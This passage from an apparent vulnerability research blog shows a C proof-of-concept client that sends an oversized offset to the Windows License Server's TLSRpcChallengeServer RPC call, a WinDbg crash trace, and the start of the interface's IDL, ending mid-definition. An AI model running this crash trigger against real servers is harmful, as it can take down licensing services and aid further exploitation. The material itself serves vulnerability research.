class="code"><pre><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span></span>&#123;</span><br><span class="line">    RPC_STATUS status;</span><br><span class="line">    <span class="type">unsigned</span> <span class="type">char</span>* szStringBinding = <span class="literal">NULL</span>;</span><br><span class="line"></span><br><span class="line">    status = <span class="built_in">RpcStringBindingCompose</span>(</span><br><span class="line">        <span class="literal">NULL</span>, <span class="comment">// UUID to bind to.</span></span><br><span class="line">        <span class="built_in">reinterpret_cast</span>&lt;<span class="type">unsigned</span> <span class="type">char</span>*&gt;(<span class="string">&quot;ncacn_ip_tcp&quot;</span>), <span class="comment">// Use TCP/IP</span></span><br><span class="line">        <span class="comment">// protocol.</span></span><br><span class="line">        <span class="built_in">reinterpret_cast</span>&lt;<span class="type">unsigned</span> <span class="type">char</span>*&gt;(<span class="string">&quot;192.168.150.104&quot;</span>), <span class="comment">// TCP/IP network</span></span><br><span class="line">        <span class="comment">// address to use.</span></span><br><span class="line">        <span class="built_in">reinterpret_cast</span>&lt;<span class="type">unsigned</span> <span class="type">char</span>*&gt;(<span class="string">&quot;49683&quot;</span>), <span class="comment">// TCP/IP port to use.</span></span><br><span class="line">        <span class="literal">NULL</span>, <span class="comment">// Protocol dependent network options to use.</span></span><br><span class="line">        &amp;szStringBinding); <span class="comment">// String binding output.</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (status)</span><br><span class="line">        <span class="built_in">exit</span>(status);</span><br><span class="line"></span><br><span class="line">    status = <span class="built_in">RpcBindingFromStringBinding</span>(</span><br><span class="line">        szStringBinding, <span class="comment">// The string binding to validate.</span></span><br><span class="line">        &amp;hExample1Binding); <span class="comment">// Put the result in the implicit binding</span></span><br><span class="line">    <span class="comment">// handle defined in the IDL file.</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (status)</span><br><span class="line">        <span class="built_in">exit</span>(status);</span><br><span class="line">        <span class="keyword">struct</span> <span class="title class_">uknow1</span>* s1, * s3 = <span class="literal">NULL</span>;</span><br><span class="line">    <span class="keyword">struct</span> <span class="title class_">uknow2</span> *s2 = <span class="literal">NULL</span>;</span><br><span class="line">    s1 = (<span class="keyword">struct</span> uknow1*)<span class="built_in">calloc</span>(<span class="number">0x1000</span>, <span class="number">1</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;start\n&quot;</span>);</span><br><span class="line">    <span class="comment">//for (i = 1; i &lt; 2; i++) &#123;</span></span><br><span class="line">    RpcTryExcept</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="type">long</span> out  = <span class="number">0</span> ;</span><br><span class="line">        s1-&gt;buff = (<span class="type">unsigned</span> <span class="type">char</span> *)<span class="built_in">calloc</span>(<span class="number">0x1000</span>,<span class="number">1</span>);</span><br><span class="line">        s1-&gt;f1 = <span class="number">0x10000</span>;</span><br><span class="line">        s1-&gt;f2 = <span class="number">0x1000000</span>;<span class="comment">// 给出超大的偏移值.</span></span><br><span class="line">        s1-&gt;f3 = <span class="number">0x100</span>;</span><br><span class="line">        <span class="type">void</span>* handle;</span><br><span class="line">        s1-&gt;f18 = <span class="number">0x10</span>;</span><br><span class="line">        s1-&gt;buff2 = s1-&gt;buff + <span class="number">0x20</span>;</span><br><span class="line"></span><br><span class="line">        <span class="built_in">Proc1_TLSRpcConnect</span>(&amp;handle);</span><br><span class="line">        <span class="built_in">Proc44_TLSRpcChallengeServer</span>(handle, <span class="number">2</span>, s1, &amp;s2, &amp;s3, &amp;out);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="built_in">RpcExcept</span>(<span class="number">1</span>)<span class="comment">// RPC_S_CANNOT_SUPPORT</span></span><br><span class="line">    &#123;</span><br><span class="line">        std::cerr &lt;&lt; <span class="string">&quot;Runtime reported exception &quot;</span> &lt;&lt; <span class="built_in">RpcExceptionCode</span>()</span><br><span class="line">            &lt;&lt; std::endl;</span><br><span class="line">    &#125;RpcEndExcept</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>触发崩溃:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line">0:010&gt; k</span><br><span class="line"> # Child-SP          RetAddr               Call Site</span><br><span class="line">00 000000d7`f68fe7c0 00007ff9`67e0ad69     bcryptPrimitives!SymCryptMd5AppendBlocks+0x90</span><br><span class="line">01 000000d7`f68fe8b0 00007ff9`67e0ab66     bcryptPrimitives!MSCryptHashDataInternal+0xc9</span><br><span class="line">02 000000d7`f68fe920 00007ff9`670347bf     bcryptPrimitives!MSCryptHashData+0x76</span><br><span class="line">03 000000d7`f68fe9e0 00007ff9`66730738     bcrypt!BCryptHashData+0xbf</span><br><span class="line">04 000000d7`f68fea30 00007ff9`66de3523     rsaenh!CPHashData+0x118</span><br><span class="line">05 000000d7`f68fea70 00007ff9`56b54d2d     CRYPTSP!CryptHashData+0x93</span><br><span class="line">06 000000d7`f68feaf0 00007ff9`56b0c159     lserver!HashChallengeData+0x81</span><br><span class="line">07 000000d7`f68feb40 00007ff9`69471913     lserver!TLSRpcChallengeServer+0x199</span><br><span class="line">08 000000d7`f68febe0 00007ff9`6947618e     RPCRT4!Invoke+0x73</span><br><span class="line">09 000000d7`f68fec50 00007ff9`69425cdc     RPCRT4!Ndr64StubWorker+0x6ee</span><br><span class="line">0a 000000d7`f68ff260 00007ff9`69423897     RPCRT4!NdrServerCallAll+0x3c</span><br><span class="line">0b 000000d7`f68ff2b0 00007ff9`69423842     RPCRT4!DispatchToStubInCNoAvrf+0x17</span><br><span class="line">0c 000000d7`f68ff300 00007ff9`693d60f4     RPCRT4!DispatchToStubInCAvrf+0x12</span><br><span class="line">0d 000000d7`f68ff330 00007ff9`693d52b4     RPCRT4!RPC_INTERFACE::DispatchToStubWorker+0x194</span><br><span class="line">0e 000000d7`f68ff400 00007ff9`693eb61a     RPCRT4!RPC_INTERFACE::DispatchToStub+0x1f4</span><br><span class="line">0f 000000d7`f68ff6a0 00007ff9`693eb3c1     RPCRT4!OSF_SCALL::DispatchHelper+0x13a</span><br><span class="line">10 000000d7`f68ff7c0 00007ff9`693ea0d9     RPCRT4!OSF_SCALL::DispatchRPCCall+0x89</span><br><span class="line">11 000000d7`f68ff7f0 00007ff9`693e9c0a     RPCRT4!OSF_SCALL::ProcessReceivedPDU+0xe1</span><br><span class="line">12 000000d7`f68ff890 00007ff9`693e8a5a     RPCRT4!OSF_SCALL::BeginRpcCall+0xba</span><br><span class="line">13 000000d7`f68ff8d0 00007ff9`694007ec     RPCRT4!OSF_SCONNECTION::ProcessReceiveComplete+0x13e</span><br><span class="line">14 000000d7`f68ff9d0 00007ff9`67b15891     RPCRT4!CO_ConnectionThreadPoolCallback+0xbc</span><br><span class="line">15 000000d7`f68ffa50 00007ff9`6a414037     KERNELBASE!BasepTpIoCallback+0x51</span><br><span class="line">16 000000d7`f68ffaa0 00007ff9`6a3c82de     ntdll!TppIopExecuteCallback+0x1b7</span><br><span class="line">17 000000d7`f68ffb20 00007ff9`6912dbe7     ntdll!TppWorkerThread+0x57e</span><br><span class="line">18 000000d7`f68ffe80 00007ff9`6a49a95c     KERNEL32!BaseThreadInitThunk+0x17</span><br><span class="line">19 000000d7`f68ffeb0 00000000`00000000     ntdll!RtlUserThreadStart+0x2c</span><br><span class="line">0:010&gt; r</span><br><span class="line">rax=00000000bdf74b49 rbx=000000009a7acdc5 rcx=0000025a971eefd0</span><br><span class="line">rdx=0000000068d7aa64 rsi=00000000727b464c rdi=00000000757453a6</span><br><span class="line">rip=00007ff967e0b290 rsp=000000d7f68fe7c0 rbp=0000000000000000</span><br><span class="line"> r8=000000003cdad4db  r9=00000000db87fbfa r10=00000000e1a806c7</span><br><span class="line">r11=00000000bdf74b49 r12=00000000971a8c30 r13=0000000000000000</span><br><span class="line">r14=0000025a971e1008 r15=0000000000000000</span><br><span class="line">iopl=0         nv up ei pl nz na pe nc</span><br><span class="line">cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202</span><br><span class="line">bcryptPrimitives!SymCryptMd5AppendBlocks+0x90:</span><br><span class="line">00007ff9`67e0b290 418b56f8        mov     edx,dword ptr [r14-8] ds:0000025a`971e1000=????????</span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="IDL"><a href="#IDL" class="headerlink" title="IDL"></a>IDL</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br><span class="line">267</span><br><span class="line">268</span><br><span class="line">269</span><br><span class="line">270</span><br><span class="line">271</span><br><span class="line">272</span><br><span class="line">273</span><br><span class="line">274</span><br><span class="line">275</span><br><span class="line">276</span><br><span class="line">277</span><br><span class="line">278</span><br><span class="line">279</span><br><span class="line">280</span><br><span class="line">281</span><br><span class="line">282</span><br><span class="line">283</span><br><span class="line">284</span><br><span class="line">285</span><br><span class="line">286</span><br><span class="line">287</span><br><span class="line">288</span><br><span class="line">289</span><br><span class="line">290</span><br><span class="line">291</span><br><span class="line">292</span><br><span class="line">293</span><br><span class="line">294</span><br><span class="line">295</span><br><span class="line">296</span><br><span class="line">297</span><br><span class="line">298</span><br><span class="line">299</span><br><span class="line">300</span><br><span class="line">301</span><br><span class="line">302</span><br><span class="line">303</span><br><span class="line">304</span><br><span class="line">305</span><br><span class="line">306</span><br><span class="line">307</span><br><span class="line">308</span><br><span class="line">309</span><br><span class="line">310</span><br><span class="line">311</span><br><span class="line">312</span><br><span class="line">313</span><br><span class="line">314</span><br><span class="line">315</span><br><span class="line">316</span><br><span class="line">317</span><br><span class="line">318</span><br><span class="line">319</span><br><span class="line">320</span><br><span class="line">321</span><br><span class="line">322</span><br><span class="line">323</span><br><span class="line">324</span><br><span class="line">325</span><br><span class="line">326</span><br><span class="line">327</span><br><span class="line">328</span><br><span class="line">329</span><br><span class="line">330</span><br><span class="line">331</span><br><span class="line">332</span><br><span class="line">333</span><br><span class="line">334</span><br><span class="line">335</span><br><span class="line">336</span><br><span class="line">337</span><br><span class="line">338</span><br><span class="line">339</span><br><span class="line">340</span><br><span class="line">341</span><br><span class="line">342</span><br><span class="line">343</span><br><span class="line">344</span><br><span class="line">345</span><br><span class="line">346</span><br><span class="line">347</span><br><span class="line">348</span><br><span class="line">349</span><br><span class="line">350</span><br><span class="line">351</span><br><span class="line">352</span><br><span class="line">353</span><br><span class="line">354</span><br><span class="line">355</span><br><span class="line">356</span><br><span class="line">357</span><br><span class="line">358</span><br><span class="line">359</span><br><span class="line">360</span><br><span class="line">361</span><br><span class="line">362</span><br><span class="line">363</span><br><span class="line">364</span><br><span class="line">365</span><br><span class="line">366</span><br><span class="line">367</span><br><span class="line">368</span><br><span class="line">369</span><br><span class="line">370</span><br><span class="line">371</span><br><span class="line">372</span><br><span class="line">373</span><br><span class="line">374</span><br><span class="line">375</span><br><span class="line">376</span><br><span class="line">377</span><br><span class="line">378</span><br><span class="line">379</span><br><span class="line">380</span><br><span class="line">381</span><br><span class="line">382</span><br><span class="line">383</span><br><span class="line">384</span><br><span class="line">385</span><br><span class="line">386</span><br><span class="line">387</span><br><span class="line">388</span><br><span class="line">389</span><br><span class="line">390</span><br><span class="line">391</span><br><span class="line">392</span><br><span class="line">393</span><br><span class="line">394</span><br><span class="line">395</span><br><span class="line">396</span><br><span class="line">397</span><br><span class="line">398</span><br><span class="line">399</span><br><span class="line">400</span><br><span class="line">401</span><br><span class="line">402</span><br><span class="line">403</span><br><span class="line">404</span><br><span class="line">405</span><br><span class="line">406</span><br><span class="line">407</span><br><span class="line">408</span><br><span class="line">409</span><br><span class="line">410</span><br><span class="line">411</span><br><span class="line">412</span><br><span class="line">413</span><br><span class="line">414</span><br><span class="line">415</span><br><span class="line">416</span><br><span class="line">417</span><br><span class="line">418</span><br><span class="line">419</span><br><span class="line">420</span><br><span class="line">421</span><br><span class="line">422</span><br><span class="line">423</span><br><span class="line">424</span><br><span class="line">425</span><br><span class="line">426</span><br><span class="line">427</span><br><span class="line">428</span><br><span class="line">429</span><br><span class="line">430</span><br><span class="line">431</span><br><span class="line">432</span><br><span class="line">433</span><br><span class="line">434</span><br><span class="line">435</span><br><span class="line">436</span><br><span class="line">437</span><br><span class="line">438</span><br><span class="line">439</span><br><span class="line">440</span><br><span class="line">441</span><br><span class="line">442</span><br><span class="line">443</span><br><span class="line">444</span><br><span class="line">445</span><br><span class="line">446</span><br><span class="line">447</span><br><span class="line">448</span><br><span class="line">449</span><br><span class="line">450</span><br><span class="line">451</span><br><span class="line">452</span><br><span class="line">453</span><br><span class="line">454</span><br><span class="line">455</span><br><span class="line">456</span><br><span class="line">457</span><br><span class="line">458</span><br><span class="line">459</span><br><span class="line">460</span><br><span class="line">461</span><br><span class="line">462</span><br><span class="line">463</span><br><span class="line">464</span><br><span class="line">465</span><br><span class="line">466</span><br><span class="line">467</span><br><span class="line">468</span><br><span class="line">469</span><br><span class="line">470</span><br><span class="line">471</span><br><span class="line">472</span><br><span class="line">473</span><br><span class="line">474</span><br><span class="line">475</span><br><span class="line">476</span><br><span class="line">477</span><br><span class="line">478</span><br><span class="line">479</span><br><span class="line">480</span><br><span class="line">481</span><br><span class="line">482</span><br><span class="line">483</span><br><span class="line">484</span><br><span class="line">485</span><br><span class="line">486</span><br><span class="line">487</span><br><span class="line">488</span><br><span class="line">489</span><br><span class="line">490</span><br><span class="line">491</span><br><span class="line">492</span><br><span class="line">493</span><br><span class="line">494</span><br><span class="line">495</span><br><span class="line">496</span><br><span class="line">497</span><br><span class="line">498</span><br><span class="line">499</span><br><span class="line">500</span><br><span class="line">501</span><br><span class="line">502</span><br><span class="line">503</span><br><span class="line">504</span><br><span class="line">505</span><br><span class="line">506</span><br><span class="line">507</span><br><span class="line">508</span><br><span class="line">509</span><br><span class="line">510</span><br><span class="line">511</span><br><span class="line">512</span><br><span class="line">513</span><br><span class="line">514</span><br><span class="line">515</span><br><span class="line">516</span><br><span class="line">517</span><br><span class="line">518</span><br><span class="line">519</span><br><span class="line">520</span><br><span class="line">521</span><br><span class="line">522</span><br><span class="line">523</span><br><span class="line">524</span><br><span class="line">525</span><br><span class="line">526</span><br><span class="line">527</span><br><span class="line">528</span><br><span class="line">529</span><br><span class="line">530</span><br><span class="line">531</span><br><span class="line">532</span><br><span class="line">533</span><br><span class="line">534</span><br><span class="line">535</span><br><span class="line">536</span><br><span class="line">537</span><br><span class="line">538</span><br><span class="line">539</span><br><span class="line">540</span><br><span class="line">541</span><br><span class="line">542</span><br><span class="line">543</span><br><span class="line">544</span><br><span class="line">545</span><br><span class="line">546</span><br><span class="line">547</span><br><span class="line">548</span><br><span class="line">549</span><br><span class="line">550</span><br><span class="line">551</span><br><span class="line">552</span><br><span class="line">553</span><br><span class="line">554</span><br><span class="line">555</span><br><span class="line">556</span><br><span class="line">557</span><br><span class="line">558</span><br><span class="line">559</span><br><span class="line">560</span><br><span class="line">561</span><br><span class="line">562</span><br><span class="line">563</span><br><span class="line">564</span><br><span class="line">565</span><br><span class="line">566</span><br><span class="line">567</span><br><span class="line">568</span><br><span class="line">569</span><br><span class="line">570</span><br><span class="line">571</span><br><span class="line">572</span><br><span class="line">573</span><br><span class="line">574</span><br><span class="line">575</span><br><span class="line">576</span><br><span class="line">577</span><br><span class="line">578</span><br><span class="line">579</span><br><span class="line">580</span><br><span class="line">581</span><br><span class="line">582</span><br><span class="line">583</span><br><span class="line">584</span><br><span class="line">585</span><br><span class="line">586</span><br><span class="line">587</span><br><span class="line">588</span><br><span class="line">589</span><br><span class="line">590</span><br><span class="line">591</span><br><span class="line">592</span><br><span class="line">593</span><br><span class="line">594</span><br><span class="line">595</span><br><span class="line">596</span><br><span class="line">597</span><br><span class="line">598</span><br><span class="line">599</span><br><span class="line">600</span><br><span class="line">601</span><br><span class="line">602</span><br><span class="line">603</span><br><span class="line">604</span><br><span class="line">605</span><br><span class="line">606</span><br><span class="line">607</span><br><span class="line">608</span><br><span class="line">609</span><br><span class="line">610</span><br><span class="line">611</span><br><span class="line">612</span><br><span class="line">613</span><br><span class="line">614</span><br><span class="line">615</span><br><span class="line">616</span><br><span class="line">617</span><br><span class="line">618</span><br><span class="line">619</span><br><span class="line">620</span><br><span class="line">621</span><br><span class="line">622</span><br><span class="line">623</span><br><span class="line">624</span><br><span class="line">625</span><br><span class="line">626</span><br><span class="line">627</span><br><span class="line">628</span><br><span class="line">629</span><br><span class="line">630</span><br><span class="line">631</span><br><span class="line">632</span><br><span class="line">633</span><br><span class="line">634</span><br><span class="line">635</span><br><span class="line">636</span><br><span class="line">637</span><br><span class="line">638</span><br><span class="line">639</span><br><span class="line">640</span><br><span class="line">641</span><br><span class="line">642</span><br><span class="line">643</span><br><span class="line">644</span><br><span class="line">645</span><br><span class="line">646</span><br><span class="line">647</span><br><span class="line">648</span><br><span class="line">649</span><br><span class="line">650</span><br><span class="line">651</span><br><span class="line">652</span><br><span class="line">653</span><br><span class="line">654</span><br><span class="line">655</span><br><span class="line">656</span><br><span class="line">657</span><br><span class="line">658</span><br><span class="line">659</span><br><span class="line">660</span><br><span class="line">661</span><br><span class="line">662</span><br><span class="line">663</span><br><span class="line">664</span><br><span class="line">665</span><br><span class="line">666</span><br><span class="line">667</span><br><span class="line">668</span><br><span class="line">669</span><br><span class="line">670</span><br><span class="line">671</span><br><span class="line">672</span><br><span class="line">673</span><br><span class="line">674</span><br><span class="line">675</span><br><span class="line">676</span><br><span class="line">677</span><br><span class="line">678</span><br><span class="line">679</span><br><span class="line">680</span><br><span class="line">681</span><br><span class="line">682</span><br><span class="line">683</span><br><span class="line">684</span><br><span class="line">685</span><br><span class="line">686</span><br><span class="line">687</span><br><span class="line">688</span><br><span class="line">689</span><br><span class="line">690</span><br><span class="line">691</span><br><span class="line">692</span><br><span class="line">693</span><br><span class="line">694</span><br><span class="line">695</span><br><span class="line">696</span><br><span class="line">697</span><br><span class="line">698</span><br><span class="line">699</span><br><span class="line">700</span><br><span class="line">701</span><br><span class="line">702</span><br><span class="line">703</span><br><span class="line">704</span><br><span class="line">705</span><br><span class="line">706</span><br><span class="line">707</span><br><span class="line">708</span><br><span class="line">709</span><br><span class="line">710</span><br><span class="line">711</span><br><span class="line">712</span><br><span class="line">713</span><br><span class="line">714</span><br><span class="line">715</span><br><span class="line">716</span><br><span class="line">717</span><br><span class="line">718</span><br><span class="line">719</span><br><span class="line">720</span><br><span class="line">721</span><br><span class="line">722</span><br><span class="line">723</span><br><span class="line">724</span><br><span class="line">725</span><br><span class="line">726</span><br><span class="line">727</span><br><span class="line">728</span><br><span class="line">729</span><br><span class="line">730</span><br><span class="line">731</span><br><span class="line">732</span><br><span class="line">733</span><br><span class="line">734</span><br><span class="line">735</span><br><span class="line">736</span><br><span class="line">737</span><br><span class="line">738</span><br><span class="line">739</span><br><span class="line">740</span><br><span class="line">741</span><br><span class="line">742</span><br><span class="line">743</span><br><span class="line">744</span><br><span class="line">745</span><br><span class="line">746</span><br><span class="line">747</span><br><span class="line">748</span><br><span class="line">749</span><br><span class="line">750</span><br><span class="line">751</span><br><span class="line">752</span><br><span class="line">753</span><br><span class="line">754</span><br><span class="line">755</span><br><span class="line">756</span><br><span class="line">757</span><br><span class="line">758</span><br><span class="line">759</span><br><span class="line">760</span><br><span class="line">761</span><br><span class="line">762</span><br><span class="line">763</span><br><span class="line">764</span><br><span class="line">765</span><br><span class="line">766</span><br><span class="line">767</span><br><span class="line">768</span><br><span class="line">769</span><br><span class="line">770</span><br><span class="line">771</span><br><span class="line">772</span><br><span class="line">773</span><br><span class="line">774</span><br><span class="line">775</span><br><span class="line">776</span><br><span class="line">777</span><br><span class="line">778</span><br><span class="line">779</span><br><span class="line">780</span><br><span class="line">781</span><br><span class="line">782</span><br><span class="line">783</span><br><span class="line">784</span><br><span class="line">785</span><br><span class="line">786</span><br><span class="line">787</span><br><span class="line">788</span><br><span class="line">789</span><br><span class="line">790</span><br><span class="line">791</span><br><span class="line">792</span><br><span class="line">793</span><br><span class="line">794</span><br><span class="line">795</span><br><span class="line">796</span><br><span class="line">797</span><br><span class="line">798</span><br><span class="line">799</span><br><span class="line">800</span><br><span class="line">801</span><br><span class="line">802</span><br><span class="line">803</span><br><span class="line">804</span><br><span class="line">805</span><br><span class="line">806</span><br><span class="line">807</span><br><span class="line">808</span><br><span class="line">809</span><br><span class="line">810</span><br><span class="line">811</span><br><span class="line">812</span><br><span class="line">813</span><br><span class="line">814</span><br><span class="line">815</span><br><span class="line">816</span><br><span class="line">817</span><br><span class="line">818</span><br><span class="line">819</span><br><span class="line">820</span><br><span class="line">821</span><br><span class="line">822</span><br></pre></td><td class="code"><pre><span class="line">[</span><br><span class="line">    uuid(<span class="number">3</span>d267954-eeb7<span class="number">-11</span>d1-b94e<span class="number">-00</span>c04fa3080d),</span><br><span class="line">        version(<span class="number">1.0</span>),</span><br><span class="line">]</span><br><span class="line">interface Example1</span><br><span class="line">&#123;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc0_TLSRpcGetVersion</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_1)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc1_TLSRpcConnect</span><span class="params">(</span></span><br><span class="line"><span class="params">        [out][context_handle] <span class="type">void</span>** arg_1)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc2_TLSRpcDisconnect</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][out][context_handle] <span class="type">void</span>** arg_0)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc3_TLSRpcSendServerCertificate</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in][range(<span class="number">0</span>, <span class="number">16384</span>)] <span class="type">long</span> arg_1,</span></span><br><span class="line"><span class="params">        [in][ref][size_is(arg_1)]<span class="comment">/*[range(0,16384)]*/</span> byte* arg_2,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_3)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc4_TLSRpcGetServerName</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in][out][<span class="built_in">string</span>]<span class="comment">/*[range(0,256)]*/</span>  <span class="type">wchar_t</span>* arg_1,</span></span><br><span class="line"><span class="params">        [in][out]<span class="comment">/*[range(0,256)] */</span><span class="type">long</span>* arg_2,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_3)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc5_TLSRpcGetServerScope</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in][out][<span class="built_in">string</span>]<span 